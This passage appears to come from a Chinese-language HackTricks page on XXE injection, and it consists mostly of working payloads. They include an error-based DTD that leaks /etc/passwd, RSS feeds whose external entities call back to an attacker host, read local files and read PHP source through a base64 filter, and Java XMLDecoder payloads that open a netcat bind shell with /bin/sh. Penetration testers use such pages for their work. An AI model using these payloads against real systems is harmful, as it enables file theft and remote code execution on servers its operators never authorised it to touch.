{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
||
```
|
||
要在错误消息中包含文件的内容,需要调整 DTD 文件:
|
||
```xml
|
||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/%data;'>">
|
||
%foo;
|
||
%xxe;
|
||
```
|
||
此修改导致文件内容成功外泄,因为它反映在通过HTTP发送的错误输出中。这表明成功进行了XXE(XML外部实体)攻击,利用了带外和基于错误的技术来提取敏感信息。
|
||
|
||
## RSS - XEE
|
||
|
||
有效的RSS格式XML以利用XXE漏洞。
|
||
|
||
### Ping back
|
||
|
||
简单的HTTP请求到攻击者服务器
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
|
||
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
|
||
<channel>
|
||
<title>XXE Test Blog</title>
|
||
<link>http://example.com/</link>
|
||
<description>XXE Test Blog</description>
|
||
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
|
||
<item>
|
||
<title>&xxe;</title>
|
||
<link>http://example.com</link>
|
||
<description>Test Post</description>
|
||
<author>author@example.com</author>
|
||
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
|
||
</item>
|
||
</channel>
|
||
</rss>
|
||
```
|
||
### 读取文件
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
|
||
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
|
||
<channel>
|
||
<title>The Blog</title>
|
||
<link>http://example.com/</link>
|
||
<description>A blog about things</description>
|
||
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
|
||
<item>
|
||
<title>&xxe;</title>
|
||
<link>http://example.com</link>
|
||
<description>a post</description>
|
||
<author>author@example.com</author>
|
||
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
|
||
</item>
|
||
</channel>
|
||
</rss>
|
||
```
|
||
### 阅读源代码
|
||
|
||
使用 PHP base64 过滤器
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
|
||
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
|
||
<channel>
|
||
<title>The Blog</title>
|
||
<link>http://example.com/</link>
|
||
<description>A blog about things</description>
|
||
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
|
||
<item>
|
||
<title>&xxe;</title>
|
||
<link>http://example.com</link>
|
||
<description>a post</description>
|
||
<author>author@example.com</author>
|
||
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
|
||
</item>
|
||
</channel>
|
||
</rss>
|
||
```
|
||
## Java XMLDecoder XEE to RCE
|
||
|
||
XMLDecoder 是一个 Java 类,用于根据 XML 消息创建对象。如果恶意用户能够使应用程序在调用 **readObject** 方法时使用任意数据,他将立即获得服务器上的代码执行权限。
|
||
|
||
### Using Runtime().exec()
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<java version="1.7.0_21" class="java.beans.XMLDecoder">
|
||
<object class="java.lang.Runtime" method="getRuntime">
|
||
<void method="exec">
|
||
<array class="java.lang.String" length="6">
|
||
<void index="0">
|
||
<string>/usr/bin/nc</string>
|
||
</void>
|
||
<void index="1">
|
||
<string>-l</string>
|
||
</void>
|
||
<void index="2">
|
||
<string>-p</string>
|
||
</void>
|
||
<void index="3">
|
||
<string>9999</string>
|
||
</void>
|
||
<void index="4">
|
||
<string>-e</string>
|
||
</void>
|
||
<void index="5">
|
||
<string>/bin/sh</string>
|
||
</void>
|
||
</array>
|
||
</void>
|
||
</object>
|
||
</java>
|
||
```
|
||
### ProcessBuilder
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<java version="1.7.0_21" class="java.beans.XMLDecoder">
|
||
<void class="java.lang.ProcessBuilder">
|
||
<array class="java.lang.String" length="6">
|
||
<void index="0">
|
||
<string>/usr/bin/nc</string>
|
||
</void>
|
||
<void index="1">
|
||
<string>-l</string>
|
||
</void>
|
||
<void index="2">
|
||
<string>-p</string>
|
||
</void>
|
||
<void index="3">
|
||
<string>9999</string>
|
||
</void>
|
||
<void index="4">
|
||
<string>-e</string>
|
||
</void>
|
||
<void index="5">
|
||
<string>/bin/sh</string>
|
||
</void>
|
||
</array>
|
||
<void method="start" id="process">
|
||
</void>
|
||
</void>
|
||
</java>
|
||
```
|
||
## XXE + WrapWrap + Lightyear + bypasses
|
||
|
||
查看这个惊人的报告 [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/)
|
||
|
||
## Tools
|
||
|
||
{{#ref}}
|
||
https://github.com/luisfontes19/xxexploiter
|
||
{{#endref}}
|
||
|
||
## References
|
||
|
||
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
|
||
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
|
||
- 通过使用自己的外部 DTD 通过 HTTP 提取信息: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
|
||
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
|
||
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
|
||
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
|
||
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|